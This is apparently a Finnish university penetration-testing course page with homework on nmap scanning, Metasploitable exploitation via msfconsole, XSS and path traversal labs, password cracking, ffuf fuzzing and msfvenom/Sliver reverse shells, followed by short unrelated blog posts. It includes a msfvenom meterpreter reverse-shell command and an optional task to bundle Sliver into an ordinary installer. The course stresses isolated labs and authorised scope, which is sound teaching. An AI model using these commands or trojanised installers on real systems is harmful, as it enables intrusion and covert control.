x) Lue/katso/kuuntele ja tiivistä. (Tässä x-alakohdassa ei tarvitse tehdä testejä tietokoneella, vain lukeminen tai kuunteleminen ja tiivistelmä riittää. Tiivistämiseen riittää muutama ranskalainen viiva. Kannataa lisätä kustakin oma huomio, idea tai kysymys.)
- Herrasmieshakkerit (RSS) tai Darknet Diaries (RSS) , yksi vapaavalintainen jakso jommasta kummasta. Voi kuunnella myös lenkillä, pyykiä viikatessa tms. Siisti koti / hyvä kunto kaupan päälle.
- Hutchins et al 2011: Intelligence-Driven Computer Network Defense Informed by Analysis of Adversary Campaigns and Intrusion Kill Chains, chapters Abstract, 3.2 Intrusion Kill Chain.
- € Santos et al: The Art of Hacking (Video Collection): 4.3 Surveying Essential Tools for Active Reconnaissance. Sisältää porttiskannauksen. 5 videota, yhteensä noin 20 min.
- KKO 2003:36. (Vain silmäily, ei tarvitse lukea kokonaan eikä varsinkaan tehdä syvällistä analyysia).
a) Asenna Kali virtuaalikoneeseen. (Jos asennuksessa ei ole mitään ongelmia tai olet asentanut jo aiemmin, tarkkaa raporttia tästä alakohdasta ei tarvita. Kerro silloin kuitenkin, mikä versio ja millä asennustavalla. Jos on ongelmia, niin tarkka ja toistettava raportti).
b) Irrota Kali-virtuaalikone verkosta. Todista testein, että kone ei saa yhteyttä Internetiin (esim. 'ping 8.8.8.8')
c) Porttiskannaa 1000 tavallisinta tcp-porttia omasta koneestasi (nmap -T4 -A localhost). Selitä komennon paramterit. Analysoi ja selitä tulokset.
d) Asenna kaksi vapaavalintaista demonia ja skannaa uudelleen. Analysoi ja selitä erot.
e) Ratkaise vapaavalintainen kone HackTheBoxista. Omalle tasolle sopiva, useimmille varmaan Starting Pointista. Valitse kone, jota et ole ratkaissut vielä. Ei tunnilla näytetty Meow. (Propellihatuille: jos teet vaikeampia ei-starting-point koneita, niin retired tai vastaava kone, josta saa julkaista writeupin).

Vinkkejä

Sivun tekeminen wepiin onnistuu helposti Githubilla. Karvinen 2023: Create a Web Page Using Github
Podcastien kuunteluun AntennaPod löytyy F-Droid:sta ja Google Play:sta. Tietysti podcasteja voi kuunnella sadoilla muillakin ohjelmilla.
Halutessasi voit käyttää myös muita virtualisointiympäristöjä kuin VirtualBoxia, esim Macilla UTM tai Linuxilla virt-manager (libvirt, qemu). Tämä edellyttää toki omaa soveltamista.
Suosittelen Kaliin 4 GB muistia
OffSec Ltd 2023: Prebuilt Virtual Machines
Tutustu tarvittaessa itse etsimiisi lähteisiin, kuten man-sivuihin ja ohjelmien dokumentaatioon.
HackTheBox:n OpenVPN-yhteyden asennus (ulkomuistista)
- Oikea HackTheBoxin alue on "Practice hands-on Labs" https://app.hackthebox.com/home (ei Academy)
- Tallenna ruutukaappaus säännöistä ennen aloitusta. HTB oikealla ylhäällä, kysymysmerkin alla.
- Lataa Starting Point foo.ovpn
  - Connect-nappi, HackTheBoxin oikeassa yläreunassa
  - Oikealla ylhäällä "Connect", "Starting point"
- Tuo (import) yhteys Network Manager:iin
  - Network manager - Linuxissa ala/yläpalkissa tarjottimella (tray, notification area), naaras ethernet-portin kuva tai koneet haalaavat -ikoni (riippuen versiosta). Tai komentoriviltä 'nmcli'.
  - VPN Connections: Create. "Import" on alimmaisena, ja valikkoa pitää kelata alaspäin.
- VPN päälle, testaus.
  - VPN päälle löytyy samasta Network Manager -kuvakkeesta.
  - 'ping 8.8.8.8' - pitäisi toimia (vastata) VPN pois päältä, ja lakata vastaamasta kun laitat VPN päälle.
Muista laittaa lähdeviitteet. Viittaa joka tehtävästä kurssiin ja kaikkiin muihinkin käyttämiisi lähteisiin.
O'Reilly Learning videot ja kirjat pääset lukemaan ilmaiseksi HH tunnuksilla, kun kirjaudut kirjaston Haaga-Helia A-Z kautta.
Kun olet irroittanut Internetin ja valmiina skannaamaan, varmista. Kokeile, että Google tai DuckDuckGo ei aukea selaimella, että et voi pingata esim 8.8.8.8. Kokeile, että maalikoneesi vastaa pingiin. Jos maalikoneella on weppipalvelin, kannattaa katsoa selaimella, että sieltä aukeaa olettamasi sivu.
Tietoja verkosta
- ip a; ifconfig
- ip route
- ipcalc 10.0.0.1/24
- ping 8.8.8.8
Ole huolellinen, irrota harjoituskoneet Internetistä skannausten ja hyökkäysten ajaksi. Mitään ulkopuolisia koneita ei saa skannata eikä mihinkään ulkopuolisiin koneisiin saa tunkeutua.
Jokin tehtävä voi olla vaikea. Tee ja raportoi silloin kaikki mitä osaat. Listaa lähteet, joista hait ohjeita. Onko jotain vielä kokeiltavana? Mitä haasteita on vielä ratkaisun tiellä? Mitä virheimoituksia tai vastaavia tulee? Voit myös katsoa wepistä esimerkkiratkaisun - muista viitata lähteeseen ja merkitä, missä kohdassa katsoit ratkaisua. Ja katsotaan yhdessä tunnilla loput.
Ongelmallisista kohdista raportoidaan erityisen tarkasti, jotta voimme antaa vinkkejä haasteisiin.

h2 DORA the Explora

Can you say TIBER-FI?

x) Lue/katso/kuuntele ja tiivistä. (Tässä x-alakohdassa ei tarvitse tehdä testejä tietokoneella, vain lukeminen tai kuunteleminen ja tiivistelmä riittää. Tiivistämiseen riittää muutama ranskalainen viiva. Lisää mukaan jokin oma havainto, idea tai kysymys)
- Buuri 2026: DORA and TLPT testing - Lecture for Haaga-Helia on 31 March 2026 (pdf, 2 MB)
- DORA (Regulation ... on digital operational resilience for the financial sector) (vain nämä kaksi artiklaa):
  - Article 26 "Advanced testing of ICT tools, systems and processes based on TLPT"
  - Article 27 "Requirements for testers for the carrying out of TLPT"
- TIBER-FI procedures and guidelines (pdf, 1 MB) (vain tämä kohta):
  - 5.4 Testing phase: Red team testing (johdantokappale suoraan 5.4 alta, "5.4.1 Red team test plan creation" alkuun asti)
- Vapaaehtoinen bonus: Buuri 2026: D26 - Releasing Your Inner TIBER in Regulated Adversary Simulations. Video, 45 min. Disobey 2026.
a) Asenna Metasploitable 2 virtuaalikoneeseen.
b) Tee Kalin ja Metasploitablen välille virtuaaliverkko. Jos säätelet VirtualBoxista
- Kali saa yhteyden Internettiin, mutta sen voi laittaa pois päältä
- Kalin ja Metasploitablen välillä on host-only network, niin että porttiskannatessa ym. koneet on eristetty intenetistä, mutta ne saavat yhteyden toisiinsa
c) Harjoittelemme omassa virtuaaliverkossa, jossa on Kali ja Metaspoitable. Osoita testein, että 1) koneet eivät saa yhteyttä Internetiin 2) Koneet saavat yhteyden toisiinsa.
d) Etsi Metasploitable porttiskannaamalla (nmap -sn). Tarkista selaimella, että löysit oikean IP:n - Metasploitablen weppipalvelimen etusivulla lukee Metasploitable.
e) Porttiskannaa Metasploitable huolellisesti ja kaikki portit (nmap -A -T4 -p-). Poimi 2-3 hyökkääjälle kiinnostavinta porttia. Analysoi ja selitä tulokset näiden porttien osalta. Voit hakea analyysin tueksi tietoa verkosta, muista merkitä lähteet.
f) Vapaaehtoinen bonus: Sisään vaan. Pääsetkö murtautumaan Metasploitableen?
g) Vapaaehtoinen bonus: jos haluat, voit jo kokeilla metasploit-hyökkäysohjelmaa omaan harjoitusmaaliisi. Tätä katsotaan myöhemmin yhdessäkin. (Muista irrottaa kone Internetistä kokeilujen ajaksi. 'sudo msfdb init', 'sudo msfconsole').

Vinkkejä

Virtuaalikoneiisin voi asentaa uusia verkkokortteja vain, kun ne ovat sammuksissa
Kannattaa lukea Valkamon artikkelista VirtualBox-osuus ennenkuin ryhdyt asentamaan virtuaalikoneita. Valkamo 2022: Hacking into a Target Using Metasploit: Metasploitable
VirtualBoxissa host-only-networking on kätevä. Voit laittaa Kaliin kaksi verkkokorttia, toinen NAT:lla Internetiin ja toinen host-only-network:n. Verkkoasetusten advanced-kohdasta voi vetää virtuaalisen verkkokaapelin irti ja kiinni, vaikka kone on päällä.
Jos Metasploitable 2 -maali ei löydy omasta verkosta (arp, arpwatch, netdiscover, nmap -sn...), voit kirjatua sisään (msfadmin:msfadmin) ja 'ifconfig' tai 'ip addr'. Metasploitable 2:n kannattaa laittaa vain yksi "Host only networking" verkkokortti, se ei toimi itsestään kahden verkkokortin kanssa.

h3 EternalHomework

x) Lue/katso/kuuntele ja tiivistä. (Tässä x-alakohdassa ei tarvitse tehdä testejä tietokoneella, vain lukeminen tai kuunteleminen ja tiivistelmä riittää. Tiivistämiseen riittää muutama ranskalainen viiva.)
- € Jaswal 2020: Mastering Metasploit - 4ed: Chapter 1: Approaching a Penetration Test Using Metasploit (kohdasta Conducting a penetration test with Metasploit luvun loppuun eli "Summary" loppuun)
- Mitä 'nmap -sn' tekee? Älä arvaa, vaan perustele lähteillä. Mistä tiedät, että käyttämäsi lähde on luotettava?
b) Tallenna porttiskannauksen tuloksia Metasploitin tietokantoihin. Skannaa niin, että Metasploitable tulee mukaan. Kannattaa ottaa mukaan ainakin versioskannaus -sV (joka on banner grabbing plus).
c) Tarkastele Metasploitin tietokantoihin tallennettuja tietoja komennoilla "hosts" ja "services". Kokeile suodattaa näitä listoja tai hakea niistä.
d) Internet famous. Etsi Metasploitablen mukana tulevista hyökkäyksistä (en: exploits; search) sellainen, joka on ollut julkisuudessa.
e) Vertaile nmap:n omaa tiedostoon tallennusta (-oA foo) ja db_nmap:n tallennusta tietokantoihin. Mitkä ovat eri tiedostomuotojen ja Metasploitin tietokannan hyvät puolet?
f) Murtaudu Metasploitablen vsftpd-palveluun
g) Kerää levittäytymisessä (lateral movement) tarvittavaa tietoa metasploitablesta. Analysoi tiedot. Selitä, miten niitä voisi hyödyntää.
h) Murtaudu Metasploitableen jollain toisella tavalla. (Jos tämä kohta on vaikea, voit tarvittaessa turvautua verkosta löytyviin läpikävelyohjeisiin. Merkitse silloin raporttiin, missä määrin tarvitsit niitä).
i) Demonstroi Meterpretrin ominaisuuksia.
j) Tallenna shell-sessio tekstitiedostoon script-työkalulla (script -fa log001.txt) tai tmux:lla.
k) Pivot point. Laita kaikki harjoituksen tiedostot (script -fa, nmap -oA...) samaan kansioon. Hae sopiva pivot point (sovellus, versio, osoite, MAC-numero) 'grep -r' -komennolla. Keksi uskottava esimerkkikysymys, johon haet vastausta.
l) Attaaack! Mitä Mitre Attack taktiikoita ja tekniikoita käytit tässä harjoituksessa? (Tässä alakohdassa "Attaack!" ei tarvitse tehdä lisää testejä koneella, koska testit on jo tehty.)
m) Vapaaehtoinen: Etsi esimerkki Mitre Attack proseduurista (procedure), jossa joku uhkatoimija on käyttänyt samoja tekniikoita.
n) Vapaaehtoinen: Titityy. Saatko Metasploitableen tty-shellin, eli esimerkiksi avattua koko ruudulle piirtävän nano:n?
o) Vapaaehtoinen, vaikea: Kokeile jotain kilpailevaa hyökkäystyökalua tai vihamielistä etäkäyttötyökalua, kuten Sliver tai Scarecrow.
p) Vapaaehtoinen: Asenna ja korkkaa Metasploitable 3. Karvinen 2018: Install Metasploitable 3 – Vulnerable Target Computer
q) Vapaaehtoinen: Peekaboo. Demonstroi, kuinka hyökkääjä vakoilee meterpreterillä. Kuuntele mikrofonilla, ota kuvia tai videota kameralla. (Huolehdi, ettei ulkopuolisia joudu kuunnelluksi tai katselluksi.)

Vinkkejä

O'Reilly Learning videot ja kirjat pääset lukemaan ilmaiseksi HH tunnuksilla, kun kirjaudut kirjaston kautta.
Jos Metasploitable 2 -maali ei löydy omasta verkosta (arp, arpwatch, netdiscover, nmap -sn...), voit kirjatua sisään (msfadmin:msfadmin) ja 'ifconfig' tai 'ip addr'. Metasploitable 2:n kannattaa laittaa vain yksi "Host only networking" verkkokortti, se ei toimi itsestään kahden verkkokortin kanssa.
Murtautumiseen Metasploitable 2:n löytyy esimerkkiratkaisuja Metasploitable 2 Exploitability Guide. Tämä on läpikävelyohje, joten kannattaa yrittää ensin itse.
Mitre Attack Enterprise Matrix
- Tactic, välitavoitteita, esim. TA0003 Persistence
- Techique, keinoja, esim. T1189 Drive-by Compromise
- Mitre FAQ
grep -ir
- grep -ir -C 3 --color=always terokarvinen.com|less -R

MsfConsole vinkit (ulkomuistista)

Tässä siis ulkomuistista, voit etsiä näistä lisätietoa ja oikean kirjoitusasun.

$ sudo msfdb init
$ sudo msfconsole
msf> db_nmap localhost
msf> services
msf> hosts
msf>
msf> workspaces
msf> sessions
msf> sessions --help
msf>
msf> search vsftpd
msf> use 0
msf> setg RHOSTS 127.0.0.1 # huolellisesti, tähän hyökätään kohta
msf>
msf> show options
msf> exploit
msf>
msf> sessions 1
shell
ctrl-Z
msf> session -u 1

h4 Täysin Laillinen Sertifikaatti

x) Lue/katso ja tiivistä. (Tässä x-alakohdassa ei tarvitse tehdä testejä tietokoneella, vain lukeminen tai kuunteleminen ja tiivistelmä riittää. Tiivistämiseen riittää muutama ranskalainen viiva kustakin artikkelista - ei pitkiä esseitä. Kannattaa lisätä myös jokin oma ajatus, idea, huomio tai kysymys.)
- OWASP 2021: OWASP Top 10:2021
  - A01:2021 – Broken Access Control (IDOR ja path traversal ovat osa tätä)
- PortSwigget Academy:
a) Totally Legit Sertificate. Asenna OWASP ZAP, generoi CA-sertifikaatti ja asenna se selaimeesi. Laita ZAP proxyksi selaimeesi. Laita ZAP sieppaamaan myös kuvat, niitä tarvitaan tämän kerran kotitehtävissä. Osoita, että hakupyynnöt ilmestyvät ZAP:n käyttöliittymään. (Voi vaatia Firefox about:config network.proxy.allow_hijacking_localhost. Foxyproxy laittoi tämän aiemmin päälle itse. Kalin Firefox ESR oli viimeksi ongelmia Foxyproxyn kanssa - vaihtoehtona on asettaa Proxy käsin Settings, hakusana "proxy")
b) Kettumaista. Asenna "FoxyProxy Standard" Firefox Addon, ja lisää ZAP proxyksi siihen. Käytä FoxyProxyn "Patterns" -toimintoa, niin että vain valitsemasi weppisivut ohjataan Proxyyn. (Läksyssä ohjataan varmaankin PortSwigger Labs ja localhost.)
PortSwigger Labs. Ratkaise tehtävät. Selitä ratkaisusi: mitä palvelimella tapahtuu, mitä eri osat tekevät, miten hyökkäys löytyi, mistä vika johtuu. Kannattaa käyttää ZAPia, vaikka malliratkaisut käyttävät harjoitusten tekijän maksullista ohjelmaa. Monet tehtävät voi ratkaista myös pelkällä selaimella. Malliratkaisun kopioiminen ZAP:n tai selaimeen ei ole vastaus tehtävään, vaan ratkaisu ja haavoittuvuuden etsiminen on selitettävä ja perusteltava.
- Cross Site Scripting (XSS)
  - c) Reflected XSS into HTML context with nothing encoded
  - d) Stored XSS into HTML context with nothing encoded
  - e) Selitä esimerkin avulla, mitä hyökkääjä hyötyy XSS-hyökkäyksestä. Alert("Hei Tero!") ei vielä tarjoa kummoista pääsyä. (Tässä alakohdassa ei tarvitse tehdä testejä tietokoneella, pelkkä lyhyt ja selkeä selitys riittää.)
- Path traversal
  - f) File path traversal, simple case. Laita tarvittaessa Zapissa kuvien sieppaus päälle.
  - g) File path traversal, traversal sequences blocked with absolute path bypass
  - h) File path traversal, traversal sequences stripped non-recursively
- Insecure Direct Object Reference (IDOR)
  - i) Insecure direct object references
j) Vapaaehtoinen, helppo: Asenna pencode ja muunna sillä jokin merkkijono (encode a string).
k) Vapaaehtoinen: Mitmproxy. Asenna MitmProxy. Esittele sitä terminaalissa (TUI). Ota TLS-purku käyttöön. Poimi historiasta hakupyyntö, muokkaa sitä ja lähetä uudelleen.
l) Vapaaehtoinen: Ratkaise lisää PortSwigger Labs -tehtäviä. Kannattaa tehdä helpoimmat "Apprentice" -tason tehtävät ensin.

Vinkit

Firefox ei enää ohjaa proxyyn liikennettä mihinkään 127-alkuiseen IP-osoitteeseen eikä localhostiin. Foxyproxy tai about:config network.proxy.allow_hijacking_localhost auttaa
Zap asennus
- Nykyisin Kalissa 'sudo apt-get install zaproxy', 'zaproxy' näytti toimivan, joten kannattaa kokeilla sitä ensin.
- OWASP ZAP Download-sivun sopivin JAR on "Cross Platform Package", noin 250 MB.
- Kalissa 'sudo apt-get install zaproxy'
Proxya voi testata vaikkapa Metasploitablen weppipalveluiden kanssa. Tai asentaa WebGoatin Podmaniin. Tai käyttää läksyn PortSwigger Labsin harjoituksia.
- Älä tee hyökkäyksiä mihinkään muualle kuin harjoitusmaaleihin
ZAP TLS-yhteyksien avaamiseen CA-sertifikaatti
- Löytyy Tools: Options: Network alta, hakusanaksi "Certificate".
  - Joissain versioissa haku ei suodata listaa, vaan värittää osumat oranssilla. Ja tietysti oikea sertifikaatti on piilossa, niin että pitää klikkaamalla avata listaa. Sertifikaattikohtia on kaksi, tässä turha asiakkaan sertifikaatti ja oikea, tarvittava palvelimen sertifikaatti (Server Certificate tms).
- Firefoxissa Settings ja hakusanaksi "Certificate"
ZAP:n tärkein toiminto: Requester tab.
- Löytyy historiasta oikeaa nappia painamalla. Myös Ctrl-W.
- Muokkaa hakupyyntöä ja lähetä. Vastaus näkyy vieresssä. Korjaa ja lähetä uudelleen.
ZAP hakupyynnön pysäytys
- Vain, jos Requester eli saman pyynnön uudelleenlähetys ei toimi.
- Puussa olevista osoitteista oikeaa nappia, menusta "Break..."
- Tee pyyntö selaimella
- Pyyntö näkyy ZAPissa oikealla ylhäällä "Break" välilehdellä.
- Muokaa pyynnön tekstiä, lähetä eteenpäin yläreunan työkalupallin Play-symbolia klikkaamalla
ZAP kuvien sieppaus muistaakseni Options: Display: ...images.
- Osa tässäkin läksynä olevista harjoituksista edellyttää, että kuvien sieppaus on päällä.
- Monissa ZAP:n versioissa jättää kokonaan kuvat näyttämättä oletuksena.
PortSwiggerin tehtävissä voi käyttää välimiesproxyna ZAP:ia tai MitmProxya. Ei siis tarvitse ostaa noiden harjoitusten tekijän kuuluisaa ohjelmaa.
Pencoder - loistava ohjelma stringien muunteluun fuff:n tekijältä. Esim. URLEncode, base64...
- Pencoder asennus ulkomuistista: hae Github-sivu "fuff pencode", Releases, pencode*linux_amd64.tar.gz, pura paketti, aja valmis binääri, kopioi se /usr/local/bin/.
Viittaa
- Viittasithan kurssiin ja tehtäväsivuun?
- Viittasithan kaikkiin käyttämiisi artikkeleihin?
- Viittasithan muiden tehtäväraportteihin, jos käytit lähteenä?
- Videoihin, man-sivuihin, ohjelmiin, StackOverflowhun...
- Viittasithan kaikkiin muihinkin lähteisiin?
Hakkeroimaan oppii hakkeroimalla.

h5 Elokuu2026!

Nyt levitään! Opit murtamaan salasanoja.

x) Lue/katso ja tiivistä. (Tässä x-alakohdassa ei tarvitse tehdä testejä tietokoneella, vain lukeminen tai kuunteleminen ja tiivistelmä riittää. Tiivistämiseen riittää muutama ranskalainen viiva kustakin artikkelista. Kannattaa lisätä myös jokin oma ajatus, idea, huomio tai kysymys.)
- Karvinen 2022: Cracking Passwords with Hashcat
- Karvinen 2023: Crack File Password With John
- Vapaaehtoinen: € Santos et al 2017: Security Penetration Testing - The Art of Hacking Series LiveLessons: Lesson 6: Hacking User Credentials (8 videos, about 30 min)
a) Asenna Hashcat ja testaa sen toiminta murtamalla esimerkkisalasana.
c) Asenna John the Ripper ja testaa sen toiminta murtamalla jonkin esimerkkitiedoston salasana.
e) Tiedosto. Tee itse tai etsi verkosta jokin salakirjoitettu tiedosto, jonka saat auki. Murra sen salaus. (Jokin muu formaatti kuin aiemmissa alakohdissa kokeilemasi).
f) Tiiviste. Tee itse tai etsi verkosta salasanan tiiviste, jonka saat auki. Murra sen salaus. (Jokin muu formaatti kuin aiemmissa alakohdissa kokeilemasi. Voit esim. tehdä käyttäjän Linuxiin ja murtaa sen salasanan.)
g) Sanakirja. Oman sanakirjan teko parantaa onnistumismahdollisuuksia. Demonstroi, kuinka teet oman sanakirjan hashcat:n tai john:iin.
h) Hash rules. Näytä esimerkki HashCatin sääntöjen käytöstä (rules).

Vinkit

Sanakirjan teko, vaihtoehtoja
- cewl (verbose, limit depth)
- copy-paste, sanat erilleen, duplikaatit pois
- Elokuu2026!, Syyskuu2026!...
Hashcatin säännöistä best64 on kokeilemisen arvoinen
O'Reilly Learning videot ja kirjat pääset lukemaan ilmaiseksi HH tunnuksilla, kun kirjaudut kirjaston kautta.

h6 Fuzzy Feeling Upon Finding

Opit käyttämään maailman johtavaa weppifuzzeria: ffuf. Ja tunnilla sen opetti joohoi.

x) Lue/katso/kuuntele. (Tässä x-alakohdassa ei tarvitse tehdä testejä tietokoneella, vain lukeminen tai kuunteleminen ja tiivistelmä riittää. Tiivistämiseen riittää muutama ranskalainen viiva kustakin artikkelista. Kannattaa lisätä myös jokin oma ajatus, idea, huomio tai kysymys. [Päivitys 2026-09-25 w39 Fri: laitoin Hoikkalan kalvot tähän mukaan, kun sain luvan.]
- Hoikkala 2026: Fuzzing with Fuff, kalvot joohoin esityksestä kurssilta.
- Vapaaehtoista lisälukemistoa
  - Karvinen 2023: Find Hidden Web Directories - Fuzz URLs with ffuf
  - Hoikkala 2026: ffuf README.md
  - Hoikkala "joohoi" 2020: Still Fuzzing Faster (U fool). In HelSec Virtual meetup #1. (Noin tunnin mittainen)
Vaultline https://ffuf.io.fi/play
- a) Tallenna itsellesi kopio säännöistä. Kirjoita omin sanoin,
  - Scope. Mikä on kohde?
  - Rules of engagement. Mitä sille saa tehdä, eli mitä tai millaisia menetelmiä saa käyttää?
  - Mihin oikeutesi tehdä tietoturvatestausta tähän kohteeseen perustuu?
  - Riskit ja mitigointi. Tuo palvelin on Internetissä. Tunnista lyhyesti riskit ja niiden mitigointi ennen käytännön harjoittelua.
- b) Asenna ffuf versio, joka tukee aivan uutta preflight-ominaisuutta.
- c1) Content discovery (Vaultline https://ffuf.io.fi/play tehtävät on numeroitu näin, käytetään tässä samoja.).
- c2) The interesting non-200
- c3) Recursion
- c4) Virtual hosts
- c9) The login you cannot replay (Has preflight! Has CSRF token!)
- Vapaaehtoisena muut Vaultlinen tehtävät
Vapaaehtoinen: mainosta kavereille Happy Hacking Day:ta! Linkkiä saa jakaa.

Vinkit

Koneiden fuzzaaminen vaati etukäteisen kirjallisen luvan. Testaamisen mikään osa ei saa kohdistua kohteen (scope) ulkopuolisiin palveluihin. Tässä harjoituksessa fuzzataan julkisen verkon yli vain joohoin https://ffuf.io.fi/play -sivua
Preflight
- Preflight avulla voit hyökätä CSRF-suojattuihin lomakkeisiin, vaikkapa renkuttaa salasanoja netin yli. Kiitos joohoi, tämä ominaisuus oli minun toiveeni!
- Vaultline: "preflight shipped in ffuf v2.3.0. Older builds do not have the flag at all: ffuf -h|grep -c preflight should not print 0."
- Viimeisin versio löytyy ffuf:n Github-reposta. Releases-kohdasta saa valmiin binäärin.

hx Koita simpukoita

Mitä kirjainta pitää painaa? Missä on "any key"? Nyt joudut itse hakemaan ohjeita verkosta työkalujen käyttöön, mikä tekee monesta kohdasta haastavamman.

Mikään tässä harjoituksessa tehty tai käytetty ohjelma ei saa olla itsestään leviävä (ei virus, ei mato).

Useimmat tehtävät eivät edellytä haittaohjelman binäärin liittämistä raporttiin. Mikäli laitat binäärin verkkoon, pakkaa se salakirjoitettuun zip-pakettiin ja laita salasanaksi yleisen käytännön mukaan "infected". Latauslinkin yhteydessä on oltava selkeä varoitus siitä, että kyseessä on haittaohjelma (malware), jota ei tule ajaa tuotantokoneilla. Salasanan voit halutessasi kertoa varoitusten yhteydessä.

a) Venom. Tee msfvenom-työkalulla haittaohjelma, joka soittaa kotiin (reverse shell). Ota yhteys vastaan metasploitin multi/handler -työkalulla.
b) Snif venom! Tarkastele ja analysoi msfvenomin muodostamaa reverse shell -yhteyttä. Käytä snifferiä, kuten Wireshark. Mitä havaitset? Mistä ominaisuuksista yhteyden voi tunnistaa? Millä muutoksilla tunnistamista voi vaikeuttaa?
c) Hello, Sliver. Näytä esimerkki http-yhteydestä Sliverillä.
d) Sniff Sliver! Tarkastele Sliverin http-yhteyttä snifferillä. Mitä havaitset? Mistä ominaisuuksista yhteyden voi tunnistaa?
e) Sliverillä voit muuttaa yhteyden ominaisuuksia. Kokeile ja näytä esimerkki. Muista todeta testein, että muutokset toimivat.
f) Sliverillä voi tehdä monenlaista kohteessa, ruutukaappauksista alkaen. Näytä esimerkkejä toiminnoista.
g) Vapaaehtoinen: Kokeile Sliver-binääriä Windowsissa.
h) Vapaaehtoinen: Tee Windows-asennusohjelma, joka asentaa jonkin tavallisen ohjelman ja sen yhteydessä Sliver-haitakkeen.
i) Vapaaehtoinen: Kokeile Veil.
j) Vapaaehtoinen: Kokeile ScareCrow.
k) Vapaaehtoinen: Tee PoshC2-työkalulla haittaohjelma, joka soittaa kotiin.
l) Vapaaehtoinen: Tee Mythic-työkalulla haittaohjelma, joka soittaa kotiin.
m) Vapaaehtoinen: Asenna Windows-virtuaalikone ja tee kotiin soittava haittaohjelma siihen. Itse tykkään Linuxista ja käytän paljon sitä, tässä hieman vaihtelua. Windows-käyttäjät ovat myös usein tottuneet (paketinhallinnan puutteessa) lataamaan ohjelmia weppisivuilta.

Vinkit

Irrota tarvittasessa koneet netistä testien ajaksi.
Metasploit msfconsole multi/handler
- laita samat asetukset kuin msfvenom
- muista 'set payload'
- 'run -j' ajaa taustalla, sessiot ovat 'sessions'
- prosessoriarkkitehtuuri kohteen mukaan
Reverse shell:
- Palvelimen päässä pitää olla reikä tulimuurissa.
- Reverse shell tarkoittaa, että palvelin (server, kuunteleva portti) on hyökkäyskoneella.
Sliveriin kannattaa tarvittaessa hakea ohjeita myös tekoälyllä. Vielä joitakin kuukausia sitten Sliverin omissa ohjeissa oli ärsyttäviä virheitä - toivottavasti ne on jo korjattu.
Jos liität haittaohjelmien binäärejä raporttiin, pitää estää niiden asentaminen vahingossa
- Salakirjoitettu zip-paketti, salasana "infected"
- Varoitus lautauslinkin yhteyteen: haittaohjelma / malware
- Jos testaat eristetyissä laboratorioympäristöissä virustorjunnan ohitusta, niin tietysti siinä käytetään vain sisältöä ja vältetään pahoja sanoja "malware", "infected", "meterpreter"...
Muista ht8 lipunryöstöä aloittelijoille

Esimerkki ulkomuistista, pitää itse soveltaa

$ msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=8080 -o infected

Lippuvalmistelu

Lippuvalmistelu. Valmistele kone ensi viikon lipunryöstöön. Tästä kohdasta ei tarvita kattavaa raporttia, riittää pelkkä luettelo siitä, miten ratkaisit allaolevat kysymykset. Jos sinulla on esimerkiksi valmis, toimiva Kali VM tavallisella PC:llä, tässä ei tarvitse tehdä juuri mitään.
- amd64. Haasteet voivat sisältää amd64-binäärejä. Nämä toimivat itsestään perus-PC:ssä, joita lähes kaikkien koneet ovat. Macintosheissa (M1, M2, M3...) hankala tehdä tehtävää, joten kannattaa ottaa tavallinen amd64-kone.
- Netti. Koneesta pitää päästä nettiin, jotta voit palauttaa liput. Voi olla kätevää, että saat nettiyhteyden katkaistuksi, jotta porttiskannailu ym. on huoletonta.
- Too many secrets. Opettaja voi tarkastaa lipunryöstön koneesi ja tutkia kaikkia siellä olevia tiedostoja. Jos käytät pelkästään virtuaalikonetta (myös selailu, muistiinpanot ym virtuaalikoneesta), tarkastaminen koskee vain sitä. Katso, ettei tällä koneella ole luottamuksellisia tietoja.
- Koneella saa olla haluamasi ohjelmat ja työkalut. Työkaluista ja ohjelmista pitää antaa opettajalle kopio, jos ne eivät ole yleisesti käytettyjä, tunnettuja ja saatavilla olevia vapaita ohjelmia.
- Jos lipunryöstön koneella on muistiinpanoja, niistä on annettava kopio opettajalle sähköpostilla. Omia muistiinpanoja saa olla, mutta ei ole pakko. Lipunryöstössä saa lukea julkisia lähteitä, kuten opettajan kotisivuja sekä omia ja toisten julkisia raportteja.
- Paikallinen tekoäly. Omaa tekoälyä ei tarvita lipunryöstössä, eikä siitä todennäköisesti ole juuri hyötyä. Mutta siltä varalta, että joku miettii tätä: Paikallisen tekoälyn käyttö lipunryöstössä on sallittu, jos ilmoittaa Terolle etukäteen sähköpostilla siitä, antaa opettajalle sähköpostitse täydellisen kopion keskustelusta tekoälyn kanssa ja kaikki paramaterit, sekä kopion tekoälyn koodista ja painoista tai linkin niihin. Ulkopuolisen tekoälyn käyttö verkon yli on lipunryöstössä kielletty.

h8 Bonus

Vapaaehtoinen bonus: luettele ja linkitä tähän tekemäsi

a) Vapaaehtoiset tehtävät
b) Ristiinarvioinnin jälkeen olennaisesti parannetut tehtävät
c) Kurssin ulkopuolella tekemäsi kiinnostavat hakkerointihaasteet, esimerkiksi
- Projektit
- HackTheBox korkatut koneet, mukaan ruutukaappaus pistesivustasi. Erottele retired ja non-retired. (Ei non-retired boksien läpikävelyohjeita julkiseen weppiin)
- Lipunryöstöt

Tehtävän määräaika on 24 h ennen viimeisen opetuskerran alkua. Tämä bonustehtävä on kokonaan vapaaehtoinen.

Onnea lipunryöstöön!

Card Size Gallery

Mon, 03 Aug 2026 20:22:31 +0300

List of products is often shown as images on a grid. This pattern is called "cards".

Card Size Gallery allows you to test what different card formats look like.

Try Card Size Gallery - right in your browser.

Clanker warning: I created this AI-assisted.

Kokoro TTS - Voice Comparison

Wed, 08 Jul 2026 17:10:54 +0300

Free, open weight models can generate speech. On your local machine.

Listen to voice samples of all Kokoro TTS voices on the web.

Optionally, install Kokoro with Podman.

Listen and Compare Voices in Your Browser

Search and filter by gender and language. The demo text is currently only in English.

Kokoro is a free text-to-speech engine, architected by Li, Han, Raghavan, Mischler and Mesgarani; and trained by @rzvnzn. I just created the samples and the page to filter them. Their default flagship voice is af_heart (English, female), but there are many other interesting voices.

Listen Kokoro samples now.

Run Kokoro with Podman

These commands assume you already have Podman installed. Podman runs containers like Docker. It's safer than Docker, as it does not require root (or the infamous root-equivalent docker group).

Let's download and run Brauns ready-made Kokoro container:

$ podman run -p 8880:8880 ghcr.io/remsky/kokoro-fastapi-cpu

Web user interface: http://localhost:8880/web/

API, usable with Python requests http://localhost:8880/v1

cdu - Jump up to project directory

Mon, 06 Jul 2026 11:58:45 +0300

You're five levels deep in your git repo. You would like to get to the top level. 'cdu'.

An up only directory jumper for zsh and bash. Nicely complements other directory jumpers, like zoxide, autojump or fasd.

Usage example

$ pwd
